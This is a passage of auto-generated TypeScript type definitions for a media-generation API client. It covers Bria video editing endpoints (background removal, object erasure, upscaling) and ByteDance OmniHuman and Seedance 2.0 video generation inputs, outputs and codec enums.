mkv_h265, mkv_h264, mkv_vp9, gif. + * @default 'webm_vp9' + * @type string | undefined + */ + output_container_and_codec?: InputBriaVideoBackgroundRemovalV3OutputContainerAndCodecEnumKey + /** + * @description Input video to remove background from. + * @example https://bria-datasets.s3.us-east-1.amazonaws.com/rmbg_tests/videos/video.mp4 + * @type string + */ + video_url: string +} + +export type Video46Cd8Eff = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputBriaVideoBackgroundRemovalV3 = { + /** + * @description Bria request ID. + * @type string + */ + request_id: string + /** + * @description Set when the request was served with an adjusted parameter, e.g. a transparent background falling back to black on a codec that cannot carry alpha. + */ + warning?: string | null + /** + * @description Video with removed background and audio. + * @example {"url":"https://bria-datasets.s3.us-east-1.amazonaws.com/rmbg_tests/videos/video_output.webm","file_size":1953161,"file_name":"video_output.webm","content_type":"video/webm"} + * @type object + */ + video: Video46Cd8Eff +} + +export const inputBriaVideoEraseKeypointsOutputContainerAndCodecEnum = { + mp4_h265: 'mp4_h265', + mp4_h264: 'mp4_h264', + webm_vp9: 'webm_vp9', + gif: 'gif', + mov_h264: 'mov_h264', + mov_h265: 'mov_h265', + mov_proresks: 'mov_proresks', + mkv_h264: 'mkv_h264', + mkv_h265: 'mkv_h265', + mkv_vp9: 'mkv_vp9', + mkv_mpeg4: 'mkv_mpeg4', +} as const + +export type InputBriaVideoEraseKeypointsOutputContainerAndCodecEnumKey = + (typeof inputBriaVideoEraseKeypointsOutputContainerAndCodecEnum)[keyof typeof inputBriaVideoEraseKeypointsOutputContainerAndCodecEnum] + +export type InputBriaVideoEraseKeypoints = { + /** + * @description If true, audio will be preserved in the output video. + * @default true + * @type boolean | undefined + */ + preserve_audio?: boolean + /** + * @description Input video to erase object from. duration must be less than 5s. + * @example https://bria-test-images.s3.us-east-1.amazonaws.com/videos/eraser_mask/woman_right_side.mov + * @type string + */ + video_url: string + /** + * @description Output container and codec. Options: mp4_h265, mp4_h264, webm_vp9, gif, mov_h264, mov_h265, mov_proresks, mkv_h264, mkv_h265, mkv_vp9, mkv_mpeg4. + * @default 'mp4_h264' + * @type string | undefined + */ + output_container_and_codec?: InputBriaVideoEraseKeypointsOutputContainerAndCodecEnumKey + /** + * @description Input keypoints [x,y] to erase or keep from the video. Format like so: {'x':100, 'y':100, 'type':'positive/negative'} + * @example ["{'x': 765, 'y': 344, 'type': 'positive'}","{'x': 200, 'y': 200, 'type': 'negative'}"] + * @type array + */ + keypoints: string[] + /** + * @description auto trim the video, to working duration ( 5s ) + * @default true + * @type boolean | undefined + */ + auto_trim?: boolean +} + +export type VideoC503Ff0B = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type FileC4Cc1212 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputBriaVideoEraseKeypoints = { + /** + * @description Final video. + */ + video: VideoC503Ff0B | FileC4Cc1212 +} + +export const inputBriaVideoEraseMaskOutputContainerAndCodecEnum = { + mp4_h265: 'mp4_h265', + mp4_h264: 'mp4_h264', + webm_vp9: 'webm_vp9', + gif: 'gif', + mov_h264: 'mov_h264', + mov_h265: 'mov_h265', + mov_proresks: 'mov_proresks', + mkv_h264: 'mkv_h264', + mkv_h265: 'mkv_h265', + mkv_vp9: 'mkv_vp9', + mkv_mpeg4: 'mkv_mpeg4', +} as const + +export type InputBriaVideoEraseMaskOutputContainerAndCodecEnumKey = + (typeof inputBriaVideoEraseMaskOutputContainerAndCodecEnum)[keyof typeof inputBriaVideoEraseMaskOutputContainerAndCodecEnum] + +export type InputBriaVideoEraseMask = { + /** + * @description If true, audio will be preserved in the output video. + * @default true + * @type boolean | undefined + */ + preserve_audio?: boolean + /** + * @description Input video to erase object from. duration must be less than 5s. + * @example https://bria-test-images.s3.us-east-1.amazonaws.com/videos/eraser/video1_video.mp4 + * @type string + */ + video_url: string + /** + * @description Input video to mask erase object from. duration must be less than 5s. + * @example https://bria-test-images.s3.us-east-1.amazonaws.com/videos/eraser/video1_mask.mp4 + * @type string + */ + mask_video_url: string + /** + * @description Output container and codec. Options: mp4_h265, mp4_h264, webm_vp9, gif, mov_h264, mov_h265, mov_proresks, mkv_h264, mkv_h265, mkv_vp9, mkv_mpeg4. + * @default 'mp4_h264' + * @type string | undefined + */ + output_container_and_codec?: InputBriaVideoEraseMaskOutputContainerAndCodecEnumKey + /** + * @description auto trim the video, to working duration ( 5s ) + * @default true + * @type boolean | undefined + */ + auto_trim?: boolean +} + +export type Video01503C03 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type File3108B02C = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputBriaVideoEraseMask = { + /** + * @description Final video. + */ + video: Video01503C03 | File3108B02C +} + +export const inputBriaVideoErasePromptOutputContainerAndCodecEnum = { + mp4_h265: 'mp4_h265', + mp4_h264: 'mp4_h264', + webm_vp9: 'webm_vp9', + gif: 'gif', + mov_h264: 'mov_h264', + mov_h265: 'mov_h265', + mov_proresks: 'mov_proresks', + mkv_h264: 'mkv_h264', + mkv_h265: 'mkv_h265', + mkv_vp9: 'mkv_vp9', + mkv_mpeg4: 'mkv_mpeg4', +} as const + +export type InputBriaVideoErasePromptOutputContainerAndCodecEnumKey = + (typeof inputBriaVideoErasePromptOutputContainerAndCodecEnum)[keyof typeof inputBriaVideoErasePromptOutputContainerAndCodecEnum] + +export type InputBriaVideoErasePrompt = { + /** + * @description Input prompt to detect object to erase + * @example women + * @type string + */ + prompt: string + /** + * @description Input video to erase object from. duration must be less than 5s. + * @example https://bria-test-images.s3.us-east-1.amazonaws.com/videos/eraser_mask/woman_right_side.mov + * @type string + */ + video_url: string + /** + * @description If true, audio will be preserved in the output video. + * @default true + * @type boolean | undefined + */ + preserve_audio?: boolean + /** + * @description Output container and codec. Options: mp4_h265, mp4_h264, webm_vp9, gif, mov_h264, mov_h265, mov_proresks, mkv_h264, mkv_h265, mkv_vp9, mkv_mpeg4. + * @default 'mp4_h264' + * @type string | undefined + */ + output_container_and_codec?: InputBriaVideoErasePromptOutputContainerAndCodecEnumKey + /** + * @description auto trim the video, to working duration ( 5s ) + * @default true + * @type boolean | undefined + */ + auto_trim?: boolean +} + +export type Video224900C5 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type FileE071C6Ba = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputBriaVideoErasePrompt = { + /** + * @description Final video. + */ + video: Video224900C5 | FileE071C6Ba +} + +export const inputBriaVideoIncreaseResolutionOutputContainerAndCodecEnum = { + mp4_h265: 'mp4_h265', + mp4_h264: 'mp4_h264', + webm_vp9: 'webm_vp9', + mov_h265: 'mov_h265', + mov_proresks: 'mov_proresks', + mkv_h265: 'mkv_h265', + mkv_h264: 'mkv_h264', + mkv_vp9: 'mkv_vp9', + gif: 'gif', +} as const + +export type InputBriaVideoIncreaseResolutionOutputContainerAndCodecEnumKey = + (typeof inputBriaVideoIncreaseResolutionOutputContainerAndCodecEnum)[keyof typeof inputBriaVideoIncreaseResolutionOutputContainerAndCodecEnum] + +export const inputBriaVideoIncreaseResolutionDesiredIncreaseEnum = { + '2': '2', + '4': '4', +} as const + +export type InputBriaVideoIncreaseResolutionDesiredIncreaseEnumKey = + (typeof inputBriaVideoIncreaseResolutionDesiredIncreaseEnum)[keyof typeof inputBriaVideoIncreaseResolutionDesiredIncreaseEnum] + +export type InputBriaVideoIncreaseResolution = { + /** + * @description If true, audio will be preserved in the output video. + * @default true + * @type boolean | undefined + */ + preserve_audio?: boolean + /** + * @description Input video to increase resolution. Size should be less than 7680,4320 and duration less than 30s. + * @example https://bria-datasets.s3.us-east-1.amazonaws.com/video_increase_res/3446608-sd_426_240_25fps.mp4 + * @type string + */ + video_url: string + /** + * @description Output container and codec. Options: mp4_h265, mp4_h264, webm_vp9, mov_h265, mov_proresks, mkv_h265, mkv_h264, mkv_vp9, gif. + * @default 'webm_vp9' + * @type string | undefined + */ + output_container_and_codec?: InputBriaVideoIncreaseResolutionOutputContainerAndCodecEnumKey + /** + * @description desired_increase factor. Options: 2x, 4x. + * @default '2' + * @type string | undefined + */ + desired_increase?: InputBriaVideoIncreaseResolutionDesiredIncreaseEnumKey +} + +export type VideoBe54Ecef = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type FileCf6D693E = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputBriaVideoIncreaseResolution = { + /** + * @description Video with removed background and audio. + */ + video: VideoBe54Ecef | FileCf6D693E +} + +export type InputBytedanceOmnihumanV2 = { + /** + * @description The URL of the image used to generate the video. Format: jpeg, png, webp, bmp, tiff, gif, heic or heif. Max size: 30 MB. Aspect ratio (width/height) between 0.4 and 2.5; width and height between 300 and 6000 pixels. + * @example https://storage.googleapis.com/falserverless/example_inputs/omnihuman_v15_input_image.png + * @type string + */ + image_url: string + /** + * @description Optional text prompt for precise control of the scene, movements and camera. Supported languages: Chinese, English, Japanese, Korean, Spanish (Mexican) and Indonesian. + */ + prompt?: string | null + /** + * @description The URL of the audio file to generate the video. Format: wav or mp3. Max size: 15 MB. Duration between 4 and 300 seconds. + * @example https://storage.googleapis.com/falserverless/example_inputs/omnihuman_v15_input_audio.mp3 + * @type string + */ + audio_url: string +} + +export type FileFef0Ac6E = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputBytedanceOmnihumanV2 = { + /** + * @description Generated video file + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/omnihuman_v15_output.mp4"} + * @type object + */ + video: FileFef0Ac6E + /** + * @description Duration of audio input/video output as used for billing. + * @type number + */ + duration: number +} + +export const inputBytedanceSeedance20FastImageToVideoBitrateModeEnum = { + standard: 'standard', + high: 'high', +} as const + +export type InputBytedanceSeedance20FastImageToVideoBitrateModeEnumKey = + (typeof inputBytedanceSeedance20FastImageToVideoBitrateModeEnum)[keyof typeof inputBytedanceSeedance20FastImageToVideoBitrateModeEnum] + +export const inputBytedanceSeedance20FastImageToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputBytedanceSeedance20FastImageToVideoResolutionEnumKey = + (typeof inputBytedanceSeedance20FastImageToVideoResolutionEnum)[keyof typeof inputBytedanceSeedance20FastImageToVideoResolutionEnum] + +export const inputBytedanceSeedance20FastImageToVideoCodecEnum = { + auto: 'auto', + H264: 'H264', + H265: 'H265', +} as const + +export type InputBytedanceSeedance20FastImageToVideoCodecEnumKey = + (typeof inputBytedanceSeedance20FastImageToVideoCodecEnum)[keyof typeof inputBytedanceSeedance20FastImageToVideoCodecEnum] + +export const inputBytedanceSeedance20FastImageToVideoAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputBytedanceSeedance20FastImageToVideoAspectRatioEnumKey = + (typeof inputBytedanceSeedance20FastImageToVideoAspectRatioEnum)[keyof typeof inputBytedanceSeedance20FastImageToVideoAspectRatioEnum] + +export const inputBytedanceSeedance20FastImageToVideoDurationEnum = { + auto: 'auto', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputBytedanceSeedance20FastImageToVideoDurationEnumKey = + (typeof inputBytedanceSeedance20FastImageToVideoDurationEnum)[keyof typeof inputBytedanceSeedance20FastImageToVideoDurationEnum] + +export type InputBytedanceSeedance20FastImageToVideo = { + /** + * @description The URL of the image to use as the last frame of the video. When provided, the generated video will transition from the starting image to this ending image. Supported formats: JPEG, PNG, WebP, BMP, TIFF, GIF, HEIC, HEIF. Max 30 MB. + */ + end_image_url?: string | null + /** + * @description Output bitrate mode. 'high' requests a higher-quality, larger-file encode from the model; 'standard' uses the default bitrate. + * @default 'standard' + * @example standard + * @type string | undefined + */ + bitrate_mode?: InputBytedanceSeedance20FastImageToVideoBitrateModeEnumKey + /** + * @description Video resolution - 480p for faster generation, 720p for balance. + * @default '720p' + * @type string | undefined + */ + resolution?: InputBytedanceSeedance20FastImageToVideoResolutionEnumKey + /** + * @description 'auto' retains default video codec behaviour; 'H264' uses H.264; 'H265' uses H.265. + * @default 'auto' + * @example auto + * @example H264 + * @example H265 + * @type string | undefined + */ + codec?: InputBytedanceSeedance20FastImageToVideoCodecEnumKey + /** + * @description The aspect ratio of the generated video. Use 16:9 for landscape, 9:16 for portrait/vertical, 1:1 for square, 21:9 for ultrawide cinematic, or auto to infer from the input image. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputBytedanceSeedance20FastImageToVideoAspectRatioEnumKey + /** + * @description The text prompt describing the desired motion and action for the video. + * @example An octopus finds a football in the ocean and excitedly calls its octopus friends to come and play. Cut scene to an octopus football game under the sea. + * @type string + */ + prompt: string + /** + * @description Whether to generate synchronized audio for the video, including sound effects, ambient sounds, and lip-synced speech. The cost of video generation is the same regardless of whether audio is generated or not. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description The unique user ID of the end user. + */ + end_user_id?: string | null + /** + * @description The URL of the starting frame image to animate. Supported formats: JPEG, PNG, WebP, BMP, TIFF, GIF, HEIC, HEIF. Max 30 MB. + * @example https://v3b.fal.media/files/b/0a8eba37/Cqg-4Uwzyz4DELfceT1CF_a17e588773ec45b1a9e6f100a787b80b.jpg + * @type string + */ + image_url: string + /** + * @description Duration of the video in seconds. Supports 4 to 15 seconds, or auto to let the model decide based on the prompt. + * @default 'auto' + * @type string | undefined + */ + duration?: InputBytedanceSeedance20FastImageToVideoDurationEnumKey +} + +export type FileDec1F2A5 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputBytedanceSeedance20FastImageToVideo = { + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/bytedance/seedance_2/output.mp4"} + * @type object + */ + video: FileDec1F2A5 + /** + * @description The seed used for generation. + * @example 42 + * @type integer + */ + seed: number +} + +export const inputBytedanceSeedance20FastReferenceToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputBytedanceSeedance20FastReferenceToVideoResolutionEnumKey = + (typeof inputBytedanceSeedance20FastReferenceToVideoResolutionEnum)[keyof typeof inputBytedanceSeedance20FastReferenceToVideoResolutionEnum] + +export const inputBytedanceSeedance20FastReferenceToVideoBitrateModeEnum = { + standard: 'standard', + high: 'high', +} as const + +export type InputBytedanceSeedance20FastReferenceToVideoBitrateModeEnumKey = + (typeof inputBytedanceSeedance20FastReferenceToVideoBitrateModeEnum)[keyof typeof inputBytedanceSeedance20FastReferenceToVideoBitrateModeEnum] + +export const inputBytedanceSeedance20FastReferenceToVideoAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputBytedanceSeedance20FastReferenceToVideoAspectRatioEnumKey = + (typeof inputBytedanceSeedance20FastReferenceToVideoAspectRatioEnum)[keyof typeof inputBytedanceSeedance20FastReferenceToVideoAspectRatioEnum] + +export const inputBytedanceSeedance20FastReferenceToVideoCodecEnum = { + auto: 'auto', + H264: 'H264', + H265: 'H265', +} as const + +export type InputBytedanceSeedance20FastReferenceToVideoCodecEnumKey = + (typeof inputBytedanceSeedance20FastReferenceToVideoCodecEnum)[keyof typeof inputBytedanceSeedance20FastReferenceToVideoCodecEnum] + +export const inputBytedanceSeedance20FastReferenceToVideoDurationEnum = { + auto: 'auto', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputBytedanceSeedance20FastReferenceToVideoDurationEnumKey = + (typeof inputBytedanceSeedance20FastReferenceToVideoDurationEnum)[keyof typeof inputBytedanceSeedance20FastReferenceToVideoDurationEnum] + +export type InputBytedanceSeedance20FastReferenceToVideo = { + /** + * @description Video resolution - 480p for faster generation, 720p for balance. + * @default '720p' + * @type string | undefined + */ + resolution?: InputBytedanceSeedance20FastReferenceToVideoResolutionEnumKey + /** + * @description Output bitrate mode. 'high' requests a higher-quality, larger-file encode from the model; 'standard' uses the default bitrate. + * @default 'standard' + * @example standard + * @type string | undefined + */ + bitrate_mode?: InputBytedanceSeedance20FastReferenceToVideoBitrateModeEnumKey + /** + * @description The aspect ratio of the generated video. Use 16:9 for landscape, 9:16 for portrait/vertical, 1:1 for square, 21:9 for ultrawide cinematic, or auto to let the model decide. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputBytedanceSeedance20FastReferenceToVideoAspectRatioEnumKey + /** + * @description 'auto' retains default video codec behaviour; 'H264' uses H.264; 'H265' uses H.265. + * @default 'auto' + * @example auto + * @example H264 + * @example H265 + * @type string | undefined + */ + codec?: InputBytedanceSeedance20FastReferenceToVideoCodecEnumKey + /** + * @description The text prompt used to generate the video. + * @example An octopus finds a football in the ocean and excitedly calls its octopus friends to come and play. Cut scene to an octopus football game under the sea. + * @type string + */ + prompt: string + /** + * @description Reference images to guide video generation. Refer to them in the prompt as @Image1, @Image2, etc. Supported formats: JPEG, PNG, WebP, BMP, TIFF, GIF, HEIC, HEIF. Max 30 MB per image. Up to 9 images. Total files across all modalities must not exceed 12. + * @example ["https://v3b.fal.media/files/b/0a8eba37/Cqg-4Uwzyz4DELfceT1CF_a17e588773ec45b1a9e6f100a787b80b.jpg"] + * @type array | undefined + */ + image_urls?: string[] + /** + * @description Reference videos to guide video generation. Refer to them in the prompt as @Video1, @Video2, etc. Supported formats: MP4, MOV. Up to 3 videos, combined duration must be between 2 and 15 seconds, total size under 50 MB. Each video must be between ~480p (640x640) and ~720p (834x1112) in resolution. + * @type array | undefined + */ + video_urls?: string[] + /** + * @description Whether to generate synchronized audio for the video, including sound effects, ambient sounds, and lip-synced speech. The cost of video generation is the same regardless of whether audio is generated or not. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description The unique user ID of the end user. + */ + end_user_id?: string | null + /** + * @description Reference audio to guide video generation. Refer to them in the prompt as @Audio1, @Audio2, etc. Supported formats: MP3, WAV. Up to 3 files, combined duration must not exceed 15 seconds. Max 15 MB per file. At least one reference image or video is required. + * @type array | undefined + */ + audio_urls?: string[] + /** + * @description Duration of the video in seconds. Supports 4 to 15 seconds, or auto to let the model decide based on the prompt. + * @default 'auto' + * @type string | undefined + */ + duration?: InputBytedanceSeedance20FastReferenceToVideoDurationEnumKey +} + +export type File3D74A0F5 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputBytedanceSeedance20FastReferenceToVideo = { + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/bytedance/seedance_2/output.mp4"} + * @type object + */ + video: File3D74A0F5 + /** + * @description The seed used for generation. + * @example 42 + * @type integer + */ + seed: number +} + +export const inputBytedanceSeedance20FastTextToVideoAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputBytedanceSeedance20FastTextToVideoAspectRatioEnumKey = + (typeof inputBytedanceSeedance20FastTextToVideoAspectRatioEnum)[keyof typeof inputBytedanceSeedance20FastTextToVideoAspectRatioEnum] + +export const inputBytedanceSeedance20FastTextToVideoBitrateModeEnum = { + standard: 'standard', + high: 'high', +} as const + +export type InputBytedanceSeedance20FastTextToVideoBitrateModeEnumKey = + (typeof inputBytedanceSeedance20FastTextToVideoBitrateModeEnum)[keyof typeof inputBytedanceSeedance20FastTextToVideoBitrateModeEnum] + +export const inputBytedanceSeedance20FastTextToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputBytedanceSeedance20FastTextToVideoResolutionEnumKey = + (typeof inputBytedanceSeedance20FastTextToVideoResolutionEnum)[keyof typeof inputBytedanceSeedance20FastTextToVideoResolutionEnum] + +export const inputBytedanceSeedance20FastTextToVideoCodecEnum = { + auto: 'auto', + H264: 'H264', + H265: 'H265', +} as const + +export type InputBytedanceSeedance20FastTextToVideoCodecEnumKey = + (typeof inputBytedanceSeedance20FastTextToVideoCodecEnum)[keyof typeof inputBytedanceSeedance20FastTextToVideoCodecEnum] + +export const inputBytedanceSeedance20FastTextToVideoDurationEnum = { + auto: 'auto', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputBytedanceSeedance20FastTextToVideoDurationEnumKey = + (typeof inputBytedanceSeedance20FastTextToVideoDurationEnum)[keyof typeof inputBytedanceSeedance20FastTextToVideoDurationEnum] + +export type InputBytedanceSeedance20FastTextToVideo = { + /** + * @description Whether to generate synchronized audio for the video, including sound effects, ambient sounds, and lip-synced speech. The cost of video generation is the same regardless of whether audio is generated or not. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description The aspect ratio of the generated video. Use 16:9 for landscape, 9:16 for portrait/vertical, 1:1 for square, 21:9 for ultrawide cinematic, or auto to let the model decide. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputBytedanceSeedance20FastTextToVideoAspectRatioEnumKey + /** + * @description The text prompt used to generate the video + * @example An octopus finds a football in the ocean and excitedly calls its octopus friends to come and play. Cut scene to an octopus football game under the sea. + * @type string + */ + prompt: string + /** + * @description Output bitrate mode. 'high' requests a higher-quality, larger-file encode from the model; 'standard' uses the default bitrate. + * @default 'standard' + * @example standard + * @type string | undefined + */ + bitrate_mode?: InputBytedanceSeedance20FastTextToVideoBitrateModeEnumKey + /** + * @description Video resolution - 480p for faster generation, 720p for balance. + * @default '720p' + * @type string | undefined + */ + resolution?: InputBytedanceSeedance20FastTextToVideoResolutionEnumKey + /** + * @description 'auto' retains default video codec behaviour; 'H264' uses H.264; 'H265' uses H.265. + * @default 'auto' + * @example auto + * @example H264 + * @example H265 + * @type string | undefined + */ + codec?: InputBytedanceSeedance20FastTextToVideoCodecEnumKey + /** + * @description The unique user ID of the end user. + */ + end_user_id?: string | null + /** + * @description Duration of the video in seconds. Supports 4 to 15 seconds, or auto to let the model decide based on the prompt. + * @default 'auto' + * @type string | undefined + */ + duration?: InputBytedanceSeedance20FastTextToVideoDurationEnumKey +} + +export type FileD92F10C1 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputBytedanceSeedance20FastTextToVideo = { + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/bytedance/seedance_2/output.mp4"} + * @type object + */ + video: FileD92F10C1 + /** + * @description The seed used for generation. + * @example 42 + * @type integer + */ + seed: number +} + +export const inputBytedanceSeedance20MiniImageToVideoAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputBytedanceSeedance20MiniImageToVideoAspectRatioEnumKey = + (typeof inputBytedanceSeedance20MiniImageToVideoAspectRatioEnum)[keyof typeof inputBytedanceSeedance20MiniImageToVideoAspectRatioEnum] + +export const inputBytedanceSeedance20MiniImageToVideoCodecEnum = { + auto: 'auto', + H264: 'H264', + H265: 'H265', +} as const + +export type InputBytedanceSeedance20MiniImageToVideoCodecEnumKey = + (typeof inputBytedanceSeedance20MiniImageToVideoCodecEnum)[keyof typeof inputBytedanceSeedance20MiniImageToVideoCodecEnum] + +export const inputBytedanceSeedance20MiniImageToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputBytedanceSeedance20MiniImageToVideoResolutionEnumKey = + (typeof inputBytedanceSeedance20MiniImageToVideoResolutionEnum)[keyof typeof inputBytedanceSeedance20MiniImageToVideoResolutionEnum] + +export const inputBytedanceSeedance20MiniImageToVideoDurationEnum = { + auto: 'auto', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputBytedanceSeedance20MiniImageToVideoDurationEnumKey = + (typeof inputBytedanceSeedance20MiniImageToVideoDurationEnum)[keyof typeof inputBytedanceSeedance20MiniImageToVideoDurationEnum] + +export type InputBytedanceSeedance20MiniImageToVideo = { + /** + * @description The URL of the image to use as the last frame of the video. When provided, the generated video will transition from the starting image to this ending image. Supported formats: JPEG, PNG, WebP, BMP, TIFF, GIF, HEIC, HEIF. Max 30 MB. + */ + end_image_url?: string | null + /** + * @description The text prompt describing the desired motion and action for the video. + * @example An octopus finds a football in the ocean and excitedly calls its octopus friends to come and play. Cut scene to an octopus football game under the sea. + * @type string + */ + prompt: string + /** + * @description The aspect ratio of the generated video. Use 16:9 for landscape, 9:16 for portrait/vertical, 1:1 for square, 21:9 for ultrawide cinematic, or auto to infer from the input image. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputBytedanceSeedance20MiniImageToVideoAspectRatioEnumKey + /** + * @description 'auto' retains default video codec behaviour; 'H264' uses H.264; 'H265' uses H.265. + * @default 'auto' + * @example auto + * @example H264 + * @example H265 + * @type string | undefined + */ + codec?: InputBytedanceSeedance20MiniImageToVideoCodecEnumKey + /** + * @description Video resolution - 480p for faster generation, 720p for balance. + * @default '720p' + * @type string | undefined + */ + resolution?: InputBytedanceSeedance20MiniImageToVideoResolutionEnumKey + /** + * @description Whether to generate synchronized audio for the video, including sound effects, ambient sounds, and lip-synced speech. The cost of video generation is the same regardless of whether audio is generated or not. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description The unique user ID of the end user. + */ + end_user_id?: string | null + /** + * @description The URL of the starting frame image to animate. Supported formats: JPEG, PNG, WebP, BMP, TIFF, GIF, HEIC, HEIF. Max 30 MB. + * @example https://v3b.fal.media/files/b/0a8eba37/Cqg-4Uwzyz4DELfceT1CF_a17e588773ec45b1a9e6f100a787b80b.jpg + * @type string + */ + image_url: string + /** + * @description Duration of the video in seconds. Supports 4 to 15 seconds, or auto to let the model decide based on the prompt. + * @default 'auto' + * @type string | undefined + */ + duration?: InputBytedanceSeedance20MiniImageToVideoDurationEnumKey +} + +export type FileE31Cd206 = { + /** + * @description The size of the file in bytes. + * @example 